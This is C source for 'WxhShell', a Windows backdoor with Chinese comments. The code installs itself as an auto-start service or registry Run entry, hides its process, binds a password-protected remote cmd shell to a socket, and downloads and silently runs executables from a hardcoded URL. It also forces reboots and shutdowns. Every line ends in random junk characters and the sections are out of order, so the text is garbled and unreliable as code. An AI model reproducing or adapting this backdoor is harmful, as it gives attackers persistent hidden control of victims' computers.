    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wL8j i>"  
    if(Boot(SHUTDOWN)) -0CBMoe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ts !g=F  
    else { +4%~.,<_to  
    closesocket(wsh); AT1cN1:4?  
    ExitThread(0); o08g]a  
    } !-}Q{<2@W  
    break; C<J*C0vQO  
    } ,}IcQu'O  
  // 获取shell H*N<7#  
  case 's': { #4m5 I="  
    CmdShell(wsh); w317]-n  
    closesocket(wsh); A.r7 ks  
    ExitThread(0);  )58O9b  
    break; W$`v^1M2o  
  }  <)TIj6  
  // 退出 {'4#{zmp  
  case 'x': { f DXK<v)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w3(G!:  
    CloseIt(wsh); ?sQg{1"Zr  
    break; Hes!uy  
    } IaeO0\ 4E  
  // 离开 g*b`o87PI  
  case 'q': { c)#7T<>*'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R7Qj<,  
    closesocket(wsh); tM"vIz 05  
    WSACleanup(); aaU4Jl?L  
    exit(1); PFp!T [)  
    break; legWY)4D;  
        } S Q:H2vvD  
  } FL\pgbI  
  } 1K3XNHF  
y<6Sl6l*  
  // 提示信息 >Y4^<!\v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c{Z "'t7  
} &qWg$_Yh  
  } qWW\d' , .  
Kc[^Pu  
  return; 9c]$d  
} CfW#Wk:8J  
OulRqbL2  
// shell模块句柄 75H!i$(*+  
int CmdShell(SOCKET sock) !y_L~81?  
{ :i>LESJq  
STARTUPINFO si; lB _9b_|2  
ZeroMemory(&si,sizeof(si)); 8WDL.IO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4OM ]8I!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o% +w:u.  
PROCESS_INFORMATION ProcessInfo; yI8 O#  
char cmdline[]="cmd"; BD]J/o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1.p ?1"4\u  
  return 0; [cDDZ+6  
} qWK}  
b [HnhAI  
// 自身启动模式 0(c,J$I]Z!  
int StartFromService(void) G$YF0Nc  
{ 4;~xRg;u&*  
typedef struct JUw|nUnl?  
{ +>1Yp">?  
  DWORD ExitStatus; g&/lyQ+G  
  DWORD PebBaseAddress; X_-/j.  
  DWORD AffinityMask; e?(4lD)d  
  DWORD BasePriority; N@0/=B[n  
  ULONG UniqueProcessId; #pRbRT9  
  ULONG InheritedFromUniqueProcessId; pDP* 3  
}   PROCESS_BASIC_INFORMATION; YH^U "\}i  
% }b  
PROCNTQSIP NtQueryInformationProcess; SKf;Fe  
Zu#^a|PE*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?a+J4Zr3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _Hq)@A I   
*@lVesC2  
  HANDLE             hProcess; &Kc45  
  PROCESS_BASIC_INFORMATION pbi; {3os9r,  
G| &$/]~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BThrv$D}  
  if(NULL == hInst ) return 0; }cW8B"_"  
QWm g#2'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fCb&$oRr!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T;kh+ i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +;@R&Y  
yYJ +vs  
  if (!NtQueryInformationProcess) return 0; ]*DIn1C^  
2sBYy 8.r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4. %/u@rAi  
  if(!hProcess) return 0; a#Z#-y!  
q 3,p=ijJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7'.6/U  
.Pe^u%J6F  
  CloseHandle(hProcess); U z)G Y  
)1 0aDTlr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a$11u.\q+  
if(hProcess==NULL) return 0; }z-)!8vF  
&fxyY (  
HMODULE hMod; ]x_14$rk  
char procName[255]; S`spUq1o  
unsigned long cbNeeded; Ip,0C8T`Q  
fxD|_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AdF[>Wv  
XKBQH(  
  CloseHandle(hProcess); scEE$:  
y5V]uQSD  
if(strstr(procName,"services")) return 1; // 以服务启动 8{.:$T  
B&lF! ]  
  return 0; // 注册表启动 m,]h7xx  
} {<^PYN>`  
}'TZ)=t{J  
// 主模块 {uO2m*JrI  
int StartWxhshell(LPSTR lpCmdLine) 'l'[U  
{ Dmk~t="Y  
  SOCKET wsl; k@C]~1  
BOOL val=TRUE; ld23 ^r  
  int port=0; /aMeKM[L`  
  struct sockaddr_in door; _i&awm/U  
qg-?Z,EB  
  if(wscfg.ws_autoins) Install(); CbRl/ 68HY  
)x&}{k6 %  
port=atoi(lpCmdLine); |FD-q.AV  
@7B!(Q  
if(port<=0) port=wscfg.ws_port; iu.+bX|b  
DadlCEZv  
  WSADATA data; \c$! C8z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bQ2 '*T  
A&QO]8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -J*jW N!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); owc#RW9 7  
  door.sin_family = AF_INET; '=vD!6=0@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H@,(  
  door.sin_port = htons(port); KC{ HX?  
fg1["{\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _[.3I1kG  
closesocket(wsl); y"SVZ} ;|  
return 1; sIh,@b  
} vL7 JzSU_  
Y/_b~Ahn  
  if(listen(wsl,2) == INVALID_SOCKET) { BI-xo}KI  
closesocket(wsl); 'Nv*ePz  
return 1; thjCfP   
} BHw/~Hd4  
  Wxhshell(wsl); H:BWv08~5  
  WSACleanup(); %g4G&My@J  
SXA_P{j&a  
return 0; /"$;3n~  
r0)X]l7  
} 0x\bDWZ_  
Gt^Fj&^  
// 以NT服务方式启动 Wo@0yF@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _fu?,  
{ aoh"<I%]>4  
DWORD   status = 0; \ueo^p]_?  
  DWORD   specificError = 0xfffffff; E1'HdOh&z  
Eh)PZvH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ljTnxg/? W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; emo@&6*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,=tPh4>  
  serviceStatus.dwWin32ExitCode     = 0; kqfO3{-;{:  
  serviceStatus.dwServiceSpecificExitCode = 0; f\}fUg 2  
  serviceStatus.dwCheckPoint       = 0;  s=&&gC1  
  serviceStatus.dwWaitHint       = 0; =Vv"\p8  
|Fk>NX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RHdcRojF  
  if (hServiceStatusHandle==0) return; .|Pq!uLvc  
r(W=1e'  
status = GetLastError(); zU;%s<(p  
  if (status!=NO_ERROR) [;`B   
{ x roo_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dBKL_'@@}  
    serviceStatus.dwCheckPoint       = 0; '`#sOH  
    serviceStatus.dwWaitHint       = 0; Wm{Lg0Nr  
    serviceStatus.dwWin32ExitCode     = status; B zmmE2~*  
    serviceStatus.dwServiceSpecificExitCode = specificError; @7Oqp-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UMN3.-4K#  
    return; 88]V6Rm9[*  
  } C:+-T+m[  
h\#\hx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ToWiXH)4  
  serviceStatus.dwCheckPoint       = 0; %l4LX~-:  
  serviceStatus.dwWaitHint       = 0; +>b~nK>M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  uIOnP  
} )YE3n-~7{  
>?/Pl"{b  
// 处理NT服务事件,比如:启动、停止 1 !N+hf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I d6H~;  
{ 5G!0Yy['  
switch(fdwControl) \$.8iTr@  
{ d <{ >&  
case SERVICE_CONTROL_STOP: =hZ#Z]f  
  serviceStatus.dwWin32ExitCode = 0; 3 q1LIM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rucgav  
  serviceStatus.dwCheckPoint   = 0; Hd*e9;z  
  serviceStatus.dwWaitHint     = 0; dwd5P7  
  { c2Q KI~\x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U($bR|%D  
  } T?vM\o%i3  
  return; RLy(Wz3%  
case SERVICE_CONTROL_PAUSE: 1b^e4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "DN0|%`M/  
  break; N|JM L  
case SERVICE_CONTROL_CONTINUE: 7s8-Uwl<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =E6ND8l@2  
  break; ;a"g<v  
case SERVICE_CONTROL_INTERROGATE: b 6kDkE  
  break; cQg:yoF  
}; _C`&(?}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3jSt&+  
} kq| r6uE  
5;WESk  
// 标准应用程序主函数 w)C/EHF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,7HlYPec  
{ !wbO:py[8>  
voX4A p l  
// 获取操作系统版本 olm0O  (9  
OsIsNt=GetOsVer(); _3Kow{y\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h^QLvOuR  
azhilUD8  
  // 从命令行安装 _HMQx_e0YM  
  if(strpbrk(lpCmdLine,"iI")) Install(); xDqJsp=]-  
91f{qq=#J{  
  // 下载执行文件 v2Ft=_*G|  
if(wscfg.ws_downexe) { CvOji 1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \wZ 4enm  
  WinExec(wscfg.ws_filenam,SW_HIDE); Vs1H)T%  
} 1tZ7%0R\g]  
2ezk<R5q+  
if(!OsIsNt) { hkpS}*L9o  
// 如果时win9x,隐藏进程并且设置为注册表启动 %I^schE*  
HideProc(); 7MbV|gM}  
StartWxhshell(lpCmdLine); 3<XP/c";  
} ;B^ 9sr  
else C.|.0^5  
  if(StartFromService()) (G6lr%d  
  // 以服务方式启动 ;No i H&  
  StartServiceCtrlDispatcher(DispatchTable); "g5<jp  
else /4I9Elr  
  // 普通方式启动 /KTWBcs 7  
  StartWxhshell(lpCmdLine); (^HU|   
9^?2{aP%  
return 0; ul-O3]\'@  
} $x/VO\Z{-  
9GX'+$R]  
SpO%nZ";g8  
#Zg pm"MW  
=========================================== o$p] p9  
M7fPaJKL  
lyS`X  
3,"G!0 y.  
cd&sAK"  
%N #A1   
" a9uMgx}  
dDbH+kqO  
#include <stdio.h> C14"lB.  
#include <string.h> X Z=%XB:?  
#include <windows.h> TVZf@U  
#include <winsock2.h> wii.0~p  
#include <winsvc.h> >~l^E!<i-u  
#include <urlmon.h> +ovT?CM o  
OI,F,4e  
#pragma comment (lib, "Ws2_32.lib") &s{d r  
#pragma comment (lib, "urlmon.lib") F AQx8P  
*`40B6dEr  
#define MAX_USER   100 // 最大客户端连接数 %0zp`'3Y  
#define BUF_SOCK   200 // sock buffer cte Wl/v  
#define KEY_BUFF   255 // 输入 buffer +3k.xP?QS  
U UhlKV|5  
#define REBOOT     0   // 重启 G|I}x/X"Q7  
#define SHUTDOWN   1   // 关机 b5#Jo2C`AJ  
0Q~\1D 9g  
#define DEF_PORT   5000 // 监听端口 q8)w Al  
!ir%Pz ^)  
#define REG_LEN     16   // 注册表键长度 k*r G^imX  
#define SVC_LEN     80   // NT服务名长度 \8)FVpS  
\('WS[$2  
// 从dll定义API `[&%fTW+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F;MACu;x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U J uz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "[sr0'g:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O<J<)_W)  
Q yhu=_&  
// wxhshell配置信息 $k+XH+1CW  
struct WSCFG { Z6nQW53-  
  int ws_port;         // 监听端口 Ih[k{p  
  char ws_passstr[REG_LEN]; // 口令 t^=S\1"R\  
  int ws_autoins;       // 安装标记, 1=yes 0=no {*"\6 8e  
  char ws_regname[REG_LEN]; // 注册表键名 L/)eNZ  
  char ws_svcname[REG_LEN]; // 服务名 W!|l_/L'   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L=5Y^f'aU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |+Xh ^E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {5 3#Xd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @W=: r/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \0)2 u[7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sRQ4pnnrn  
6%V#_]  
}; [xXV5 JU  
a_z f*;  
// default Wxhshell configuration W]D+[mpgK  
struct WSCFG wscfg={DEF_PORT, u~!Pzz3"  
    "xuhuanlingzhe", z3M6<.K  
    1, !>fi3#Fi  
    "Wxhshell", (hIe!"s *  
    "Wxhshell", } : T }N]  
            "WxhShell Service", (\4YBaGd  
    "Wrsky Windows CmdShell Service", uFG ;AY|  
    "Please Input Your Password: ", LAGg(:3f3  
  1, ;I>77gi`]  
  "http://www.wrsky.com/wxhshell.exe", $gdGII&n  
  "Wxhshell.exe" GPAz#0p  
    }; lWFm>DiLY  
5IP@_GV|  
// 消息定义模块 Bm;@}Ly=G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ( `d_DQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !/Wv\qm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bQwiJ`B&  
char *msg_ws_ext="\n\rExit."; Y|<1|wGG  
char *msg_ws_end="\n\rQuit."; _2eL3xXha.  
char *msg_ws_boot="\n\rReboot..."; _p| KaT``  
char *msg_ws_poff="\n\rShutdown..."; P#2;1ki>  
char *msg_ws_down="\n\rSave to "; d-"[-+)-  
9|hPl-. .W  
char *msg_ws_err="\n\rErr!"; w&}UgtEm  
char *msg_ws_ok="\n\rOK!"; leEzfbb{'.  
Ec['k&*7,  
char ExeFile[MAX_PATH]; Ay\!ohIS3  
int nUser = 0; g%d&>y?1r  
HANDLE handles[MAX_USER]; N-GQ\&   
int OsIsNt; LiD-su D  
|)Sx"B)  
SERVICE_STATUS       serviceStatus; |Vc:o_n7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g$S<_$Iey  
,DbT4Ul c  
// 函数声明 sJYs{Wm  
int Install(void); %suXp,j  
int Uninstall(void); 0}aw9g  
int DownloadFile(char *sURL, SOCKET wsh); "O{:jfq  
int Boot(int flag); ctL,Mqr\Z  
void HideProc(void); ;?:X_C  
int GetOsVer(void); [es-&X07<  
int Wxhshell(SOCKET wsl); cx(b5Z  
void TalkWithClient(void *cs); 9!|.b::  
int CmdShell(SOCKET sock); VUGVIy.  
int StartFromService(void); -%)8=  
int StartWxhshell(LPSTR lpCmdLine); ]#oqum@Yf1  
%Tv^BYQAZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S#, E)h/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;/-#oW@gQ  
{!vz 6QDS  
// 数据结构和表定义 #$9rH 2zd  
SERVICE_TABLE_ENTRY DispatchTable[] = @Y2&v956  
{ c6)q(zz  
{wscfg.ws_svcname, NTServiceMain}, \muC_9ke  
{NULL, NULL} Cdd +I5~  
}; ;}gS8I|  
&za~=+  
// 自我安装 G#A& Y$  
int Install(void) &O.S ;b*+  
{ sGD b<  
  char svExeFile[MAX_PATH]; /.aDQ>  
  HKEY key; 675x/0}GO  
  strcpy(svExeFile,ExeFile); A">A@`}  
qZ7/d,w  
// 如果是win9x系统,修改注册表设为自启动 y(RK|r  
if(!OsIsNt) { 1JoRP~mMxa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3_tO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ul$YV9 [\  
  RegCloseKey(key); \WVrn>%xu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TBYRY)~f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }Ik{tUS$  
  RegCloseKey(key); cTeEND)  
  return 0; ' cl&S:  
    } bu#}`/\_  
  } *tda_B 2  
} Y?z@)cL  
else { }$ Am;%?p  
)5j%."  
// 如果是NT以上系统,安装为系统服务 Whq@>pX8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #`mo5  
if (schSCManager!=0) ^.J F?2T/  
{ ?b~Vuo  
  SC_HANDLE schService = CreateService v&B*InR?+  
  ( YQ _3[[xT  
  schSCManager, Z?5kO-[  
  wscfg.ws_svcname, G8lR_gD"!  
  wscfg.ws_svcdisp, !#nlWX :~  
  SERVICE_ALL_ACCESS, #<bt}Tht  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E VBB:*q6  
  SERVICE_AUTO_START, gC#PqK~  
  SERVICE_ERROR_NORMAL, Ogf myYMtc  
  svExeFile, u4=j!Zb8}  
  NULL, d"|XN{  
  NULL, g@.RfX=  
  NULL, J8$G-~MeJ  
  NULL, _{o=I?+]  
  NULL ` =!&9o  
  ); Cd#>,,\z  
  if (schService!=0) W$0<a@  
  { 8Z!+1b  
  CloseServiceHandle(schService); H'$g!Pg  
  CloseServiceHandle(schSCManager); tH<v1LEZN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QtQku1{  
  strcat(svExeFile,wscfg.ws_svcname); RR><so%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ](vsh gp2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |*7uF<ink6  
  RegCloseKey(key); u7&r'rZ1_!  
  return 0; >'/G:\M>A  
    } su(y*187A  
  } SM5i3EcFYP  
  CloseServiceHandle(schSCManager); "';'*x  
} O k_I}X  
} :*e0Z2=  
0i9y-32-  
return 1; FK{ YRt  
} l0g#&V--  
l'VgS:NT  
// 自我卸载 2s;/*<WM  
int Uninstall(void) |^Z1 D TAw  
{ V# |#% 8  
  HKEY key; j_\sdH*r  
Ywt_h;:  
if(!OsIsNt) { J /'woc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \w^iSK-  
  RegDeleteValue(key,wscfg.ws_regname); !'B.ad  
  RegCloseKey(key); b/'fC%o,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N- ?U2V  
  RegDeleteValue(key,wscfg.ws_regname); EKk~~PhW 8  
  RegCloseKey(key); P@p(Y2&~g  
  return 0; rOB-2@-  
  } 4>{q("r,  
} `Te n2(D  
} Qwk  
else { ${KDGJ,^  
|h*H;@$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4*l ShkL  
if (schSCManager!=0) !~m)_Q5?~  
{ iquB]z'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9<WMM)  
  if (schService!=0) J+[&:]=P  
  { .jZmQtc  
  if(DeleteService(schService)!=0) { FsY}mql  
  CloseServiceHandle(schService); zVZZdG~8  
  CloseServiceHandle(schSCManager); #DwTm~V0"  
  return 0; %U)/>Z  
  } /Bid:@R  
  CloseServiceHandle(schService); 1s=M3m&H  
  } q0.+F4  
  CloseServiceHandle(schSCManager); wS <d8gw  
} s,"<+80%  
} nE+sbfC   
<O?iJ=$  
return 1; iT%aAVs  
} _$NFeqLww  
Iujly f  
// 从指定url下载文件 _,=A\C_b@  
int DownloadFile(char *sURL, SOCKET wsh) ,<zGvksk  
{ K\nN2y  
  HRESULT hr; {%9)l,  
char seps[]= "/"; {^Vkxf]  
char *token; IwKhun  
char *file; 1<fS&)^W  
char myURL[MAX_PATH]; =_\5h=`Yx  
char myFILE[MAX_PATH]; (LA%q6  
UQaLhK v:  
strcpy(myURL,sURL); 'LpJ:Th  
  token=strtok(myURL,seps); sk\U[#ohH  
  while(token!=NULL) Q` 4=  
  { !Sy._NE`z  
    file=token; a57Y9.H`o  
  token=strtok(NULL,seps); 5:Pp62  
  } lt|\$Iy(  
aA-A>z  
GetCurrentDirectory(MAX_PATH,myFILE); z~L''X7g  
strcat(myFILE, "\\"); ~.u}v~ F  
strcat(myFILE, file); -X'HZ\)  
  send(wsh,myFILE,strlen(myFILE),0); Ds9pXgU( Z  
send(wsh,"...",3,0); AMG}'P:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bTHKMaGWC  
  if(hr==S_OK) 3xxQL,FV  
return 0; --d<s  
else +wXrQV  
return 1; WW{5[;LYiB  
gV$j ]  
} mv O!Y  
jGl8y!aM  
// 系统电源模块 QM2Y?."#  
int Boot(int flag) mTz %;+|L  
{ 9W:oo:dK F  
  HANDLE hToken; NeAkJG=<  
  TOKEN_PRIVILEGES tkp; L3JFQc/oh~  
ym9Z:2g  
  if(OsIsNt) { Bw;sg;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `uM:>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K*&M:u6E  
    tkp.PrivilegeCount = 1; ']Gqa$(YC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }l~|c{WH`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HS XS%v/Y  
if(flag==REBOOT) { ^hzlR[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &lbxmUeU  
  return 0; C93BK)$}  
} GL[#XB>n  
else { )Fx"S.Ok  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^e:C{]S=  
  return 0; I_6NY,dF  
} \ZX5dFu0  
  } u\wdb^8ds  
  else {  N-`Vb0;N  
if(flag==REBOOT) { o(w!x!["  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0D/u`-  
  return 0; "X0"=1R~  
} 74Xk^  8  
else { =}>wxO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L9Sd4L_e  
  return 0; mR@|]T  
} BLZ#vJR  
} -1iKeyyA  
$&~/`MxE  
return 1; oFM\L^Y?$$  
} qzS 9ls>>  
 %Xs3Lz  
// win9x进程隐藏模块 ~,+n_KST;  
void HideProc(void) %|E'cdvkX  
{ 28FC@&'H  
xxkU u6x#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 56gpAc  
  if ( hKernel != NULL ) R)i  
  { @)s;u}H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y_EkW f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U<,@u,_Ja  
    FreeLibrary(hKernel); {6{y"8  
  } bj23S&  
V ij P;  
return; AQ n>K{M  
} X8~dFjhX  
HDQhXw!!hc  
// 获取操作系统版本 7pMl:\  
int GetOsVer(void) Dy6uWv,P  
{  :VwU2  
  OSVERSIONINFO winfo; Y<|!)JLB2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @_"B0$,-i  
  GetVersionEx(&winfo); OQzJRu)mF#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3jF#f'*  
  return 1; ~^d. zIN!  
  else MuNM)pyxp  
  return 0; L9tjH C]  
} )E;+C2G  
Z$ qFjWp  
// 客户端句柄模块 d"3S[_U  
int Wxhshell(SOCKET wsl) [A$5~/Q{U1  
{ GC?X>AC:  
  SOCKET wsh; 6k6M&a  
  struct sockaddr_in client; `$og]Dn;  
  DWORD myID; %Q]u_0P*  
!iKR~&UpAL  
  while(nUser<MAX_USER) gcYx-gA}  
{ aE}1~`  
  int nSize=sizeof(client); 1I({2@C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _;mN1Te  
  if(wsh==INVALID_SOCKET) return 1; 49f- u  
o(xRq;i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #_yQv?J  
if(handles[nUser]==0) r fqw/o  
  closesocket(wsh); z0J$9hEg89  
else ^NJ]~h{n$  
  nUser++; Zgp]s+%E  
  } [6x-c;H_4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0_yE74i  
F#=XJYG1  
  return 0; t~pA2?9@  
} {MmHR  
`@GqD  
// 关闭 socket >cwyb9;!kK  
void CloseIt(SOCKET wsh) Z09FW>"u  
{ 3L/qU^`  
closesocket(wsh); =a rk?<E  
nUser--; %M8Egr2|0  
ExitThread(0); a%*l]S0z"  
} ~ILig}I  
;9r Z{'i+|  
// 客户端请求句柄  Q(SVJ  
void TalkWithClient(void *cs) 1xK'1g72  
{ xt]Z{:.  
SQ#6~zxl  
  SOCKET wsh=(SOCKET)cs; d q=>-^o  
  char pwd[SVC_LEN]; l@` D;m  
  char cmd[KEY_BUFF]; MWf]U  
char chr[1]; A^7!:^%K  
int i,j; VlKy6PSIg  
||v=in   
  while (nUser < MAX_USER) { 2mL1BG=Yk  
t}-[^|)7  
if(wscfg.ws_passstr) { ]D^dQ%{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <*L=u;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7L)1mB.  
  //ZeroMemory(pwd,KEY_BUFF); tB.;T0n  
      i=0; =jD[A>3I  
  while(i<SVC_LEN) { RAR0LKGX  
7t-j2 n`<  
  // 设置超时 CG'NC\x5  
  fd_set FdRead; R`=3lY;  
  struct timeval TimeOut; 3nuf3)  
  FD_ZERO(&FdRead); 5zJkPki  
  FD_SET(wsh,&FdRead); VlW#_.  
  TimeOut.tv_sec=8;  [+$l/dag  
  TimeOut.tv_usec=0; Z:f0>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z&8 7Aj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GF~^-5  
}_XW?^/8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :1u>T3L.z  
  pwd=chr[0]; !f_GR Pj'  
  if(chr[0]==0xd || chr[0]==0xa) { P# 2&?.d\  
  pwd=0; 2=ZR}8}9Q:  
  break; Z+ubc"MVb  
  } -Hzn7L  
  i++; ^|}C!t+  
    } ZCPK{Ru QE  
bHlG(1uf  
  // 如果是非法用户,关闭 socket qG"|,bA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j`Lf/S!}  
} o;Ijv\Em  
eux _tyC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w?ssV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IV^LYu  
1!8*mk_R{  
while(1) { 20m6-rkI<}  
\Ekez~k{`  
  ZeroMemory(cmd,KEY_BUFF); 3(P^PP8  
475yX-A  
      // 自动支持客户端 telnet标准    N>`+{  
  j=0; "M6a_rZ2W  
  while(j<KEY_BUFF) { FW7+!A&F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i]GBu  
  cmd[j]=chr[0]; !s,<h U#  
  if(chr[0]==0xa || chr[0]==0xd) { c 5P52_@  
  cmd[j]=0; c?) pn9  
  break; 6A M,1  
  } l^xkXj  
  j++; qGkrG38K  
    } ~ C5iyXR  
!mBsDn(J  
  // 下载文件 X[k-J\  
  if(strstr(cmd,"http://")) { DHpU?;|3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }7hpx!s,  
  if(DownloadFile(cmd,wsh)) j5z, l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *F:]mgg  
  else 'R_U,9y`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D,xWc|V  
